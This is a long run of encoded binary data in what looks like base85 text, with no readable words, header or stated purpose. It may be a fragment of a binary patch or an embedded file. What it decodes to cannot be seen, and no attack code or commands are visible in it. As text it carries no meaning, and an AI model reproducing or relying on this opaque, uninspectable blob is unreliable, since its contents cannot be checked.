z`4{Gz#b0l=rGeeu$wfnL3b(!V3Pn&(HSMgd#|VG5jO2#`r*^{JB`fUA;N}TzU->BuOE@A z{#O{Bu*{^YLY2A57O-awiO&6RJDL%gu^$Op&lWXpjUey&H?kCkP^opeH4i_IQmR~Kd6qxl_0@5(FNaznN<6q`c2S4KC&S>;m?oa-2biAYrN2YtxQm?|fnU31Pi96AHWUxW5_;IaV|g zZdQ%3us_$B%J#_i1n6y3NPHvq7^3C0@6BQdovocHSNrjw>)2N`Hqr#|QyW*nNUEW{ zfw?>6Gk#c`BPZ`k8UHc^B|H6akyfvxQ#_V? zM-nt-;%*_dQ`0@Li2s*aUWs>nVNK#GP}sK-zfBlDPGJK(^{cS24x!drrP7h)$H2<# zHOJG=Z)f?|Ume2?sgcW#u-2q}tmiwIURTe`|1naLe5F8HU%*5_5$*T_DJ*&|6FO$j zjY0&w(j9)r8Sl7e+Xh=61VMFDFt%@ng_Qb7{RECO5Z>ybt?0jpH&>x21`||sEIfLf zaV*3vepuHHDJ#>P`c7hDVUfs;2SSP?K6wRe8YctkgCoG6O_ju5s2st+BRgHnOt5{5 z^q|OkYGVo+#9w`$^!6AQTY`%3Dqxd;Y<4v78u|x`UR^5-2@Je&yo2z+C70X<*!d6N ze0bJykIkbIiqu)!Jzr)8^7K1=LD~!c6&^tSxUEy+K_=CNcp?W~=im1teNXJUIOsi} zUryLxH3jaHwuRZrIDn`yx-s0&a86m(Sp|7IVn|gj<2s#h^ zm?DkE4G&K~R5G~-^{>r*g&G7=yH?O4-xa@>#C_zvRch}iIPK|zfxk_sLf*_AXOsiF ztVx1HqK!HR;80(Lpgkz>JQ(d=&j(Z=%(u=8VNumWzSw%QP0A+dQrRUWeRce*WQq}& z86xCy;#tjBCcItMeZR+~JiV`>{!233kSx2ZM8YS<&(@47WSThFw{h27SRhKLQdV)t zEr4011FfX~v*?gk0vgS`Q@Y1oB4S)Op7J(+vLWpfmEaT&{U5=evmb#Gft@w>6@L43!!7!+cJaWqum-N@u;+ z$V`1W7q)iY^m-|iSkLRRIlLpK9CrZvIg?X$l{AdSZ$k@+owqn|uPlCl>u-Y6+7*VT z&}eE;N3`#68p-|>aPWT#iT;y$kcV*QCDn;s`6%-(M3&Y~z+3~J|8TOh&Z;?dN9*aw zf->1jKhkPQkAf9j6buOA0g3(b1xe83&R~AAzijqilTih4g-1F~o}5JmZTV$UX{E0l zd$YK+6Al5kh#XM--QTPzFH=K#BKbJac1VQP9;iVjQNoZ|59Hjr0tAGzOB<>J3S6m} z2gT;&HeRcI`?2w9>l;zg8s#w>8X7lWHjOZH*Gj1#$YejT7x~Sl$E0z4U-Q6_7bte` zKn@$2M3-`U(&dnp;2^k%nHdCitAFX!9Z^zxgR)Q?6B%9!_DTgRJLLQ@=XIvGC=S}P z7hfd?yf8!SLCkcvk%>(Lq6!;7(cpQ)Y{D9O@AZl7Xh*J63%1TAx)60hcNxW9?`?eh zqj%IrnHKa5@mt3u>p%HHFy5$;81Dhe3DCa*eZ|@u)n-AV*3Z#R@Z=u46{Kt&H%(UK z>NI8F^{OJ&qM?^f_$oergYn6koeQ@mEt?xtO2eMM#_oK~>Xp@w)xQZDuouJ00ZdG84TP zybI6gU_O?Y(}6+e+StH#++`>b784}4cqVTGbm^;Q&Ru$ws34CIjgrdMUw95dn4o|Z z4Y=BWh3xBOcxSR-#5#51Yy_>1B~o6;w}{tRyKB1cPEcHmK{LJA#q^u$OXFeF)M{`c zmEaH}*gJ*HHsz+*jSko3JUfgJqnF zw*1%ASW)Tqo)5PLu8?^=Pur`!Gnzpz@is)=JaJ-Az0r)3-+QVxu|L3x$~1qSs)kLO z2-(6Y6Z2v=6+TR*rkaEe8arJp*I&5~l6HSH^v4Kli*j$IMf3o)uSI@1c?JPK4LXa_ z=~Dfm%w2^=r2-Qt)RZ@no`!P&AdmDNStDD;1s9E2Ndd+B=o?eO+&1bT!rM}i{mY{K zA(vwY)6&H#F@%=ME;Xl!pMgZ%Lug$X2SPcz`ciMFmDY_>bsqY#EuUagboP^Pzmbjz zb>pe_n08DU6{&@t3FfR|woNJSI6HMuMA>oGI-~O9b=%E8 zp)&QIiuVBQu&Usaigg|IuW5w+svMu535&FdpayRz@bU82;>a5~US;9S491mQ`z?zDN2frlsFohYI-N zNpMU?RX78FwckKB{SSK-ZY!O_H3fPjys8u_eA+0l9cm~L*wq33WEkteQcHXr7oDSw zycu}EH)n)b$jxn=!@S~YlJ0+`zhNmf{fGmgo%#?O?}5@Sjj7eJJtE|Ts%V-7D%YUz zksMwDlcliV3<$WzA{SLIOp)C=>6wOMj`hfRrrVH-y4-0P62Vg;v_?UZVYGG$*g@TqT zpX?BN7MO#UgU)F2El_&deHSr5J0b&W930YvTikHGg{{Gg z$&=M8ee|+uz~ee8`n%0amFj5xh-%fKd14dRGx^ThEjy4FfJ;;%?=z3-^wmyq#5Svu zW6?*m+k1iU*~Acrp?7W2gmiE$Y`Pr$ zhZ4q=(D7iTjlThvmo7c4Br7LXbbENrwa3Fe%F5sqeIRx}SNZiszyR-~j2um%mbS^K z?+nNv9MHRUNa2Z+M}_=Bw6znoX{_{gt-YI03$G7h3GxE5y^0Ch&2~7U93#!FSZQ-2 z{IRGd63vTasvYz&R+AS_2riQ?ktKm*(ur#%@ zym>(YYo2h_X^mf18disvcyfIj?kBm03aM>Fx_9;KwzP0ASdi>B%(s{uJ*}|{)>dJ? z3ca4KN28)K9gJDm7N%Chj!~}o@2H$WlrlO7%h{WoYF3DTJt0xTuwMtD>X^a^f?mx9 z2hXSMo(MwFGj#hz zhz5T5TcxKPHo=XQP1eUokg)d|RCa^^XoA{x(rUx|EuYpLrbRR+Zr7g&Y;Hwz#~fb7BI{tdGux??0(DGOHB z4`is`Z5D*x71bM(iQL2a5lBBX)UFIH!KpFQ8F;-`L^Ar~*6Q;_16QsZlCw(&V4dkH zo8mhSo=-uJGuFxePU609wHSGgTlkL?`h%cCTIE(31vOC|G7%K=hE~su3|MyEj^b`= zS{@=+jgKq{dq_g}YrBh_JOVbuH&}ligPnulwAj;s7@)j+ViN^$C2pyxkf;6~gL`yI zA_zH07OuEIl=J*&T4E*q@u&*N`}G{KDw!{pfHgG^Ef~yrY0~+Q<|2U$`*JwA=wWwZ zNG*)KOSR%mLgWHmF?Dc&T;ah`OUNBr;D?g{>Jq;Wt|sMJ#^&VI2?gZ3Cm<-C9DbKh zzx|MmCLmCWc40~tFvmFcEpUh1wRRlfA#xqEVV>ot`;-*;|Hy{Gp84eh90Thtwf~VUi6sGD(I1g*k(dO$GMzXYj7TU=|lA+!;|Ck|wTw^;KyHS|sdXw{#{;}L6 zn<0{nK(}vQ&jdXgeFB+nSH+Sa9Zfr5CYynE? zm${)JALMq+00oS4KXVIz+P}6bD0Y7o zx3RkOrA98JdOmN`bu-CqKpTkdETpb7q zd`c$VjhbC!yJlPn$uu+jhy+Yhdt?b(CG~UCt}E;(o|R>oz#MA3`_*+x#;4au zseO)_5jpZ@`(n#eFrc-~aqv7jnsrM2XGI+V$j%>i7$JfF6gh!4x`O9l4?EsrgrApy z4>R-|RM?u0` zDLb2RuG#zBC6hi<8I{Ekqd3!cyYu9%Ga2S7fZ2S0(q_J7{9Ed>hQCiTEn@{xIjwwg zZ#0L$`1eL-jbORrB zbddxmvkD}+C0mri&=Dsd;Cl)mRKux=%rrV1bpTJEh+F46TtY3|{5(F{k-QIcB~I98 zR;XvB=do0v07mA%?+?v$uT%Qnir&K6On9G80cL^S(TbnV05Qu>3H9XxYUox?0!9di z^7Jhg1)!0#?!*N>Q1e-K3}D)v9@dBG`k_r6=ZID;nlRzb z*MQ;^*KcGcP%wiHyM474RQ_xjvyyWfVMX1(xGv4#VvP}z%xgs4O>#&-;^gt{s*s)PUFUDnx|~lUrgaB9 zHK9Cll^sI{qdnk+gRvgFGE}!9p5{esWOlb*ZNPK5KMuPCU$!%9ndy^^q8B>XcGdCk z@%1c`^XR*GB@V@KxoFleMH z1E;f*a?Jy<9#wNI!qWiLw6Pf;~K@%Ie=)4jP7lrq(feIl#$d- ze~{K5!3eMI%6!oC=ih@_q9>`D4%rMgMe1#w6!1F9?U}#y8PmN@$TnJjKB2OFp9ESI ztugkLcXOD<@;K3Wp7}k*8t@ zi3=0Vw8Jv1ClzXS3jr0fgLQmJ$4@5(=WYdPjvqI&!UDryKR?l$x0ZENyE)N*2 zPrt2dw2r)+Apg|48LQ&y9uH^&Qa5q$(z&7yi5*TM~|s-?Cd zWvo9Q75Htw2XEB@;pau7vN8z<^LgObMfQHZ2-&vtyhd7o|+mK{%;dAP5NR?eka*Okbc8}R#0`k{% z73k%mr2OYNXq8vXW~YdA-4}nb0~I_`Ewin%!eGmLp0{i;s+>5kg*9SRJQzbz5dZ=x zc!TY|b-wDPa-=42kLGcK+j0su_DMk9e1&Pc4 zMf^hkl=s12x9@!-%(}b2jpH|OYo=nGf zjM>)y-KfUD$pqO7f*XBpAiWFq23b75$}P)Gjm#_~tzWjH^pnxq~s zJgRv5?4O@7_IMK!rFqQR_%B3#JM{?{BaONR18y{q@YU+itBuGDvbr#{@Mu|1am_v? z3I*muAst_1Q}47#dq^ogJw*!oWKJ)SsYGox-b%{$JE#!2;M?7O3fyEMKdQ9CDod&H zMgMhjU%rK;@V%4qHIQnus^#8)I7K&`<I~(GxS?69y7=|}s zf0(c|c|)LM#@Vi^mfKQ^0mE(^n-dtZ`H$kAP5ZAEtcATti9^3AyeqL#T1SM-*_VRP zCRn@_`+gk!3Z)yV>rLw#WnO*!{Rv`O6M3iC00Xf4jF!ZKxb*Tb)7vEWOU>88A2q(B z{O>pblxHl}3v;iCuK?>TyP;op7A zoy|Nhy&tIm#-F_QH%~O#MT+Eb`z2>Qg3q^ul^sl)S(1+~k{whm3OYtF{=j(i8EkP` zRJ!qARpd+W3oT%-V>ujyfo-xLOdYG=3(+k`-AVat`n2o#rkYD1XEQJ@xl~5K6b51) zIT}tQYtLEDb@?0LlCin;AlArs=dZR-{)*8y#AE*}=Oa8~quqJeJ*{p#|MSJpNs?lS zM;9W4$OMIwmcQ@)>cCOmxF;{~u!VJI3D>~h-9Kt9sRw;c#S9Z>@E@dF3TMWL!27&6 zh?4uU@J@vKBGZV!2pOEyZ@^Jd^`#td)dc45oAbZ@uf#=m?DXxgYtYUfk8+M_25B|I z)T4Po*p6Ng6vjTGK3;BVKnRA5W%)4y%_h&KnPAu3gTVxunEQ5pjsW1kMcO{9-W@gm_M6RTN91SNmA zX$s>L;=?j$fx!#2R}qV#w~M>40`Z1(#Zx!)C8tNf6XYtVUE$TJf3SJYm*M7{AeKfK z6WDdAWdKYk-;>xtAj8=NQ%cY|Pdm zY~hiuKCFeAnQE$#cJ#q|eCq(j&{BXnJQ;?Yv5W}DF@jeSy(;K;G>$cwD!?FDbxCyH zM+3|&_BGi{qW%^=lS;PE1m-A%$GFR`Ac@F4pU_+x0XWKGdNN_YL4C@pP5g_0jSL@lTD6;N$u3Qb)lTxTYFR zKK4k~dQJ=~eeY#Fl}0R+s=F1#AnvCnst+HZ74%h>YX#}+->N28eKWGUq)mKF!uIky zihJ>Z-c@Kw)QyNWY!*}@^~@#qg40BF<^kihVPSS(zYbf`Sq*s=6OYAPo4yUJ?H9zW zIVT;$ns{uqIBmXp28gSh2KGCn&!(WCiYkpGd6KS1p82Vqdk`|ef`wqs+SSkM8O<9E z;E3l-pAjvL!_2$-URm4kwH<`k17NbEL@L@Qy%1$JNHFenAgNu!6U`!yqp!%{fvWqp zv@H<|*uIT@sCF~wmmrk*0M-*QRx}fwtn@u_PC)=hAVe_v=EEkW5zANN(Iz|Gn z0&nl0n~(*M`k=o?ukgkCYqw{R9HNnL!q?fFM1#f{57RN$+sh{N4{onkkq4Uo{+yR} z(tO$q^hTJ}kZBpT3-iDB%x*qurh|@Lt-ww_i?$pg!F-nbFrX4EtJd_s?64uFaTw7wOK(m|`Ke4LoYesXv5k8g01O!&#bH zd?4K8;e{GS@m*ZbfDz91XHOUsXe+EfNZR|Dati6!z2uG2S%AMQ;2To{t&?V2FN#q2A_-vvOt37nyubbt@w}+N zUzclTA*TU50q@Sh`9z+5r^fYF*=@|$)))x zO@Mm22kv_*>G9vma-RyBZo%w==J!H{P=Wh7et8X^C9G^(UM*oJ>}sB)I~+^_-v z!D6)zw&C7nOd>ME`u82L9IGxGxe4YIdf7KFX)n!$bh7f2?HJ1<{`?u`C& zGr%th@s82u{xH0rI=bK9<&ZII+}rmAYs`r~z`NJp0W}6yNO{RwXRNix`P0M7IY)_8 zGe~}?kACnKS@8T%rG33K^4R6{F;(zH7wOs*SLyZEbPqZJW<%m06n^iirOk zbMfO8@p;76+W7JOqUd~(qsaL5%CGO4>VfMpec1TzhQ-maj30Is%d1H^mtB@DBz68%N7mYtIHIKq)tqAA6 zTXS$9BGfUJv-l`S3hlnY=5@pB^U?e&^qONxfvvT-Pws+0924 z<@&o+NktEP8SEP?;Nfe&k#iHBuZ0W8ni?MkC$rJ!iM=Cr5u@B*X!eAO`#wFf(IJ>U zjDQP(^P{TKRFQkI8!Da`Eupqf7hCoDt?nD zIFuDu4MLK8sHeRaoBZ5C30?rc5kQPR_E$SKWk+{UC&^BJvF3-BRzw#w8@cw}fvrGaYc{)+0#!LSJdW=>*Z(_Tx3lF@B4t0J`?AQ>HW1rrPm1 z)N-eJ#_=0QT+#m0pT1C*K7wC(tMu`{@*)~_LBM>kBWq**l0&*gkZpJSXsTKC-q(6l z(=tdcP{!?3~>9%mc>W+d9L?>4MvjgmT7ZTX_2-6s`$p)47~&-U9s)9 z44Pl;zGTIlM+7Jga#Bmj$V83qC^#RoX-I??8-{C$Q-VqMr@4mz(gb^y@So}79 z$q~a4Y7%-1p)D-djxhbLxZLahkB>WDdBvx$kW@U@s%bho1tRhB5%C`z5EJvLl|Et+ zQ1NN7uvCx{Jn}bwac^K#)+^c$rz@}OO4=5dc_JwiX9HHnGv9niHIL#Fn-O zfewJh`U{_1KTKDX8yF(AY*^I+bRDxL^%^?3`7yF9c|^4`mI%b!sl0uKZT3?xf|$=c zVen*I`~c+6ylzt55A^oRZ_OxqKlcG_1Hb|ECQd3MFJALm@Uv-`chH1VI=(+L|J=+Ka)5%Z8&;YyUMIikoiXZgAt)>Vstv|QY& zVfyL+u-H=bj`1u?#<=jM%O_PKHLk+B_iB3Qu>>LOqD>2VJEh&{#-4G@TuUBfO|<&v zaZ$z#UtYlWH;He0_L7M5D(KjlEJ|No>`{)up#NiP@DGupbzQqPvu?MserAnhU{0)e zkV9ch;;;pAF3tAhfXVFnk4v&Co$^2fV~WC;vB;XmlwMpnYKttW$1SII|2W%k3}3jr z%S?BR4O+lAIB&#udLl~#AAR77ei&rzRmL`|Dd6mVrB~$S>7Q*SeFjdbL#(TDc_;6D z`|}Ygy3;u%Da`2ft>n)AwV2z|Q`*Z>)T8m3t;-ivqF(@)A0 zBVi``Wk==xVCTqd^e}`ZDVO|cAgs;UupkpPJk%2WbL6Be7NED zF$LbE03-Hvx&wN~Ug7rr**R^Xk{3=w9b?*DXflM2xU7*U-sNS-64SiDmZ1fGjh0S% zV^`|r@VGJWP~U0~Ep1xl`%?Z&N}Zz~<%Yt|OT^^=llou3+{L0n!t?LZsk~FQ_iEH55RL;DYq-W~tqPOLUBYX29 z^wuUfXD(AN-=IYW`|69Q=*v>PVy0d`6=JG?WhqiH6p2nUJj;g_eRO3qL*W!WD;fA2pHGNPC-_g|J%(($`> z@Hv`zyWSt&TRTH1RK}Hb%mw6JKTwWv3;!WHeVu}bbTDGWKU^S&j-}nwwlYh%;x|sl zyI$+!JQ_cL+J%C%C{ewvUZCZL!aDWmfw!Lq90mdcEXR?-omH><);uB3oDYo$EI%qL zM!Hw!0x8r7g#+e$AezW zN=cph`>rQU1ij_xHVjq-E$J#Qf5cS7u_AUwayDs`jfx2-cWnep?L^X4}v+ zbrwsuq1~Hjng0xNH_PXS&ecXF-#hHPjsCa|8+koi`W~&;bhrg9^8B!HW10DeD^MFk z?=4or;D*Joh$ZQc;&x;6O-(u@O1%>F2N+2D$Py-0{rOuR8awPmjYZ06^IU$4oktyM6?hFXy7dyXn*KFGVe&8)sp;lY{zz+nAjjMuMCVd z7}K4q!q(+=cot6_+?apf&>wmL9p|+^omFvMDb88-s4(*Uec)`s5X~j5NZ2$|h$HRz zIKQ!8L?&<=GA&1(<$s6&e)?{L1c{EsmP`8p`{eaNku{hV#%6wY#udSCWVbjOc*WcF znepD(_;pSm%rgS!gTuM5$5%zp1faIM;JEij91=_GgFeQYebV3U!yK#^j=sK7Abl}B zt(b-L-hBDSBfP(cP%U)CTN&W5p^$mweP4~znFjc-OxO_eo6um`&hfM{?gg;wto+uQ=L;r`^!FjSs`C0 zM$$1_lw)ay_|({DuuPg!t+D(0?wf0=l_Yp1itj*IRX)`g?u)_tHU1z{yH62Fdi}Y{% zc!5~AerVfCa>d#!*We?jM;__(p8kQoo!QtMwCgblt;oBFO8;so#kqj;$fxpt{vFeZ{^qoG+N&U+B^X% zP~Tv>HSlXt!#tS>k2}bIl&3z;(vfPV zQ0$MO*4UUX#V6ayPrSNp0CKcWvHdW7s7&BX-RmI&oBnryV_5NuZjDo-Ruf}VVt-Pr zeL{sLZfGsEZNbsRad`1~fS<{{Tu;xqkuCg@+$W>y71Z~qY#&>8gu4@hU9 zG`(NGKWs1~gzPn9h}Pg*tO}BC07}}wjxtF-N%>^lsH9aSm4$FBCb|d#+Mag%9cRg? z?l#`{7NB#IWFDF5ker=$uaewJ=t2thqCdG$cA8~Kq2_5$-0H19hWXhRV^neZq1Hb_ zr(3NE#GpH7hUl)k7~Ltx&Ne}$u~Zb%=C|v;)8wWv+yx_8cXP{rSv9xyb**@ELOBG- z^%n!rGC*wT1B3SL>sNf8_3^hExV;9_fH{>XpEmhW)MLJ+&{|%k57@rq&;O4K{$ER- z1}qmgWSgnwojL0Ei_Eoz*z}>hi79=6wnkkzRP{y>lrt+YKQdeWW7RkRS*bs%kwmQd zWva_2_%b)FxkOS}xN@~K9pSxx3q1OYVu8U{j8XY+Sokfi+dc7BR@q(J7R`uAuw=zI=O^f7HgF0t{LaI z^7T4>OQb;}hmZfU^~b&EY6{!xno;2yo3wSdZRMG|AYsMM+{8Ufi?iz7(Dg>ats^E> zNQw9unW*t?JcLH1$CIIVIg_=YhA%NkQKpTVRX)xig zOVF9yYnxXbn0`1yM6ixi*%G>C?JjI<^x?LPtmYq5^gidV5gg zAhq;c03XAmet=SR$P(a@$Kvh}%R@R(ELh0R>CHJ6BU;Z|Z-E0gfJ3xLh^gc%Ew^!Y zz*jvyga&TPLOaTN{Cr@%%kGvMvz7@CHX;^JB1m?qOvi*^zSIkgmS3$D_#OG@9uh)s zl>OS5T56<7tsRjZm>6#M&>Rg^KBPv$o3#Tfg}XR5{n>qrRG}vo2X_~Bu^k=weZ&(J z1Q+3SMO|Y7xsOCMO!Rd7wPE`}`^dzGw)))}CU>T?=eVBh#g*8H5Z;3uw&Gn87x@8= ztk|-q?lnOIL%6c*MG_quuY`%PajW}-$w#v0fte!Qa?Bm+RD2^;v>@-`BDoD3`Tw=;yY@tL^l^} zgonXqRwTv7Mh$c~@Rcu>L{4MBcQYl&cha>}#p+P;aALDHPzcN4XJs^szkGVR=zVSr zM&N?1ii>CFWm~s)ouM1PD!Ix7aEdPR>eUG1rZ!D-%!`xW?rRvivdrZ?}sVk=#cunV{<-%LU3!I3kJ5o9hOTb+`wzf#j~$G$8`jPe=gE(F!3 zOKy3(@|3{cm&*qF;6mv-71?Ck{^6&$L=h#Q^ISbl&S{`EqjP~dFND+ou_wydh z?fZ3riPHyirQ$uN6$s0K8C1edV^uQSK6t&no3GSW;p#7BbzOb4&cTi6ckqe=UtABS zqtLL8$Q951-r0A)w_vshw&#PFw@Dd%3D-jr_TUq^A+fGSoHiVjNUIBirEuZ}cL&FA zA4+Nc(n;fi+uOsGXTL7{IzIX4bBgf-o$s?SFkpL$iW9=SQTAZd(w;M12}4kU|a&+Vm{(sXN&u(VHU(#_4IfN2w0Yf^60 zj%v#DZ$g3C{tiSP`rr*j4`xeo#DB?Zoq6uWas5Mfl@ja2)-22pjei3DPdXtghULA$ zfEJ^xhqsTbt;g4|r86WVS~MWaV}UwKQ~iy10){9birUuof4Fb-z@!QISBw!O zHzY^Qi1O_MRHar1^my~dV|1Fm24I=nr-n9x83^no8Y ze?xCRgOl`PM;B8pjAuwSJj`oRhzNzgaYL2omEW48$IG@Bho}$k&_x8K)jC}{Rf9&s z50tPS_X(}sW52M?155Q|;=wm$r^79ViQ^xiwW4n34B2yq=gvB`gYUxr=a2h;7R^m# zRTSdotQQo5qf$s^)K4E%HrImZ#vi(YO+(i5F#8y*8tmV*Y(W$Iev-A|()*UOG} z&R^HopVpLkItfHm)|+m}fo(4LzB~pTzSmq|Ni7%u%5Krsjhi=o(|cbmCxAzQ#&%uj zzk<~>Ed73C5U&p?!?V_AZ1wHgaKYig%+2AtqYokS3Pju?oCW-4TjcZnYlRp62u((T z;mNdFK1IcRw|h8OoYb{M7_@#-M>((1$CEJt?zjs0Lwp8}oAcs7@euSPH8=)7FBWx^ zQ{S-`ZQa1AEr(u~8L^k|Mo3cc1FfhtsaU#c^$)fRf-q~4btK_?gi85-YQr7k42rQL zkbISJR(`m#1E87VW812--w9>xefPhPHEI-npDqV%uzSTHpIvP62XcuJ(D7CNlRl6V z*1>WmNbvpZ<=f9;h@OWBre=LEjw!Ay@(PX0vhN1l&NkJyTGSK7KsNJ{+>3!jZYw!& zd&Wz-#8#sFS+S#m2Z!b8rQtU@`BA_luQG~TwLmStrU6ve_ zLB^e4%dCdrmatmpyY}9lmPTnLAu5?ph%$e`tq>u5f8nkgyO1)>5W&dD1z^eFFqjGa z67ip6zYcw-%lf&?Lz|qM;;Z6B5Nn!9Srd`JAQ)(}TCqsHS6{gP11n-oW|&l(J@AXf zJUJsjJuC>Y6WLCs%y>FIn8X~T(?U-+NPaI0-o277tWC<79uh~m&hj$n=r_lTJbb8; zgzRgNX5QPG7mZq-!G(W7UtU}!Cr?z;ks;wHKBd7EA*QZ%Mp%Eo%y}UqI#gI5jWXm< ziq+%QOd%QONRH-Kf)4;T2)yv+7vu?ha83&6m*<>)s6og>Ni?jEj*eO^jn~yDL|NfM zWCW(dC3FR_nBeYTY(H_vXc427%5`(g5fNuMh!cpz{fhmb7NVkqLwGC^MNyOrneL8n z=}IHOlY1hDqA@5r#J>d75(0(CH7 zF$r%9?w%F`EnX!H-!C%oP35s4qA$;~eJ;ox{efQMfwDQ`&ReLUiXL5fFU>3KSenz# zN|l$4eW?%^GH%h#kYJt@6J<}t8U$6X&IBKS7#W#Gd3jtN3|;)(;#cJsEz^&MZ}#1} z$-}sIJ`9edOJ#dbh0nI~h*bf*#^e4IgTk;g@th4mpw3W{EMdqReq;4bcGD>Pm*Lvx z@B*tyPCS4CBhAdsjnd3M4z&3F!q%;yag!sHI~m;Ze3AjSO!TlCGCx8h)hB)fE5^f& zXC(!`Pm|AoOl76WE4PE+`z^ji;Drz0O;aa=i4y~WU>{jKt+(-F+QU#(A;$` z>wQo3b?$A{_6HS^P$KJV_F#aehQ(Cq7S z?Avi>qJ#@*bW4X)s^LzwezsY6Vd2zT^gWt|xw7`XL_eIT)7v~{PF9;`&ToA}k$N!@ z5YE4dD}$p!RE5B62-=Y42^apy8a}JxES}lJGbx9;pp)Tp)sG6A$nZKG76ikdSUzRC zA4AmUQ&JvDHVJmID!#6JAL0chYa~lx(sEZB{%F~OtW`WpI~#f2{~5*5lCei1h-_WZ zT`0?x%8aEM2-9H@aQ0x-G)=pXL^WGl(f$HYg1fuD{8E=JO$mN5?cHwcwT*SPvUN}k z`$)bOJ)dd6>9vj-u>%{{;Gox=HM4c2+bzQXj4>oly3ifOx~~kZXq-f_-PC*A%%Bd8 zlbi{sZacEp!1T=YKSFDJsT6Glg1&cNU$OUm!Ke~iC&jE4%eq;b4cCw!wD*Xc<_p6n0IPL2WZ4bQJKuoUv|~zT2jB4vWZ$8Q22p&&_NBOKV#R;&LfcncP zXHtkbg_@ax&5F{H?Y7T(e!;rqRyB91V6@Xp;?^9Z+Pg09em6Wf*Ge!rJzWYY+9CE- z2ddxK*h*6bQcmBm+AP0+Nvc>G6~3e`*z~Lf1im$CjXSOhwvKKNI(O=_CP;$=KJQQ+ zvEuEI`BrQ*ty;M6;_FLl8w{Q6ZH~M$Eq~k3I=3UoK#r?f_-+fByGD9CeW(wdooS}@ zy?&zDQ3eu2T36Bz=3DtrCxpb{`oFh$)z9FjB)0#Z&|I$^@)rn-6fufdDnn^H*Yw^m zl!S{ky|#7-U97IRbmVL3@=|!71~2KaTxxi=oa1O%gGH~BA-Vy3m^WBcE;BR2d?s%v zZ_nkY(}QVW&TS2Z0c)=8(#z_+tHHSehQansguvlfz>X{8pMX*H-Ey^dJ)7K=<4G8G z&EGp?xPYf)u3(b}CfE4Sd`|4^1i^wd{5<_if18K+^FI{#ExA27*V;jp;E z@$r~4s*`aWw1-p$Hk^Vkcb#xlG0?~|l}manCBu@S8IaLmGH2{hM zps&-jm`0yePt!14NFa}dAKBLa?`;?FB}T~)&Z2*NE3LEV1@JRevL!5)<4i<+_yLQ- zg*`uU#cR-4N5Z8&uV#?vhp{L=f`l+=V|760vO#kxfme`m8+t@UF^BqZnQf93A7T*J z^*QRXf?MTpT4>~R7jPuUUnR4>TD8OQc)6DAYY#X|Jat+KvG8_6k>j*B|7e@PGm8J_ zZexJ%cn<545(+j4zH$QP?w*3MJ0!x6UR5c>p8eYh%7%h&36o$sc=rM$u~|t;g^0j5 z(JuD9zm!wR7#vjnx$5eFN9dZ8VZp%naqJ!x)OVX4N4M2_vQrlI;nB>h%TyQXqehU3 zQoWe;pZpuG$MMg2DBd*vMAuPP0*{Zx2@)_t)Bam#f8?uQ|8=U!aGN7G6_ElIa>u3&A-x_uE&6)Qf4#Q{@6kTftZ)NK zsIk7bEfixg7@}hh0suE7L5l ztBetsUc3d1xXR_TgmdLJ6JAo`Ci$!W~k;@8JbJoF7xeE)Qu+AN^_6Q3>{D`K067rOTcKtP(qVCBs0kO(Q zfN;?QnX6~@w7Weh%iZ3u#>Tgfa#_01olsn5_EmM9V@<=7vqt)7%(=|+vUNP!PB4yO zqI)a};6K~enQp{ypl0!k$u3@W=jNpd6+K>o4_^-9CGx5{8FUSSQr{47G$j!i+lk+} z<}|*gE(-~-vco<}#}dkQH7k>FP=*Il_HzI^LQAODB`%y_`k|UPo%_l4aAP!>8o8k@ zc9?ODjot1-<CxBj95V1HcXmf)av9WOuxmWQ(u;$&P>bS+a3$((Y%#)bCi_GYgaojLVzwu?5>rTPf%Y*0z2>zx^>bmD!e}lLw zyyytf8J15AFoX}YR%JQv{r<~4ckzQGLvuA%N_36U* z#!5uCMj@#@P+UQzb4!w4j?lj1jmS$MV^LazOxGqg@wNPA7<>fl>%^FIM6&4;+SJP$ zM%+2#yE_@W{uICF72Ud4%h2Ff&61QtqOYfjP!aa4Yw5$2Q_$dSQf`e!jlRJxk+Bub z=2W81grM5tDQ6*&maxr~cpYB(n4CyR$OMtFSfL$6^$Rw~;WOy^Y}Xr$UDhc3#(Xa| zWIS4%emDRPEE$pkrZCs)^sI&XgU8!-Jr33;1PcJc{U=~*)R==#xN-$2{9Vj4`jIHh zlb7P#Y`87dnCUKyc8Hvr)^^{2ijU(*sE2B6chVW!`tTPV%{HM*L?ViZ$(v&~vlOkP zd6N3Jkd9V(5vivyrQu#raBK3lE24RI2qlzq=XMlhX;tKM3_upWyCSt^kMMov_~j== z*9jFY>tWZ>mzvvbf>;)!;oJT<;eyu3(jVkY!MU&~I^Br4SY@g`^5aj1ldW!< zo-G+>v@HheUhh}sbc$bkAks_gLwrzu=(3^WRf9hYe| zw(Uy%PfUJ6U^Cy>5t;c_suO(|80OlAZ$LpogYues=MPY|*Qa_&;nSQ74Scd}CT=8N zFl3{_$myF;iCcAm0(^sYoTCC|!B12UWWbjvno#s^n9bYz|AjUD-;$627VCe%PZh*2 z^q!kVwm-ux2nn5q@f=({a>vd(J$}eL4G9QmG*K&a`bx{q($Q)nGg#qpC{Z4Tg*$CF zte)^0w=nJw&y9GFN>4t7mi)3A6#ac$Iq>-uCRd5qZSgw7lvtu&n{?4sS=kWak0#R` zOyOl4dO$=1^`D^b7>yDyfexOs#G#>I0(l$x-9{Nygm(Wku8+Z;?Ys;j67)Om(C)Jp zQB)*&yG?OO*PR$g>!{COEIqsr#u0R=OL`l*qtkgARXGdsR`xBj%<7ADY`K z-C%st?hA9B3`gf&9cw5!oIgDd3Aj1wYmXI1 z$LZ?`e?VEzae58AEqglKex27Q3)N}y!jW}^r>{8S7;w<>+0AmZo%$+$_F`w|8Q3&S zQ!YpT+f4|6WP%zlF(;3NR`9^;+~km|RZTaBMS@hs4MoyoSowpA`08gOVQDk}fp$-0 z`(xu8L1Tm({lxR;hG{x`Q}4N%xZA%QBXYs)(#onG#wqFrEsdtl4KbUYmyN9TwL?Y0 z5~y&)YAkd{&K?w(g2ch_k7^1K2}Mk!kN>`=cF4DQoyXPQM*+aftJ9TeCBiYQnb;#d zW)eqp?qfvsJF;mN64KMkvopKaqk2S^y`T9QMj3K~xl#W4VM*#e-TUi{+flqLhiPq?hr)AOKOir?Fkqag*tya7c>7yW?qEqF@lPP zFVgcn*iUO-y-|PgRnb5Ek)Ka)l^Z{a)&4(O0DxjUB$>ccv~$v|7JHP{mfJ{&BoZHs zbIFYF>Yjd&(vZy3(^F(d)kD8Vo+IdBWUo@@{`n^LgwMR?h4PR>bBKu`f}$qnKY5Oo zVz#CIWWbuTR%mgZy5Bg5(TG}Vdu28s8Gm^L?U4T%qO8uWOGpeRLjo~>HLVMJKPQ?I 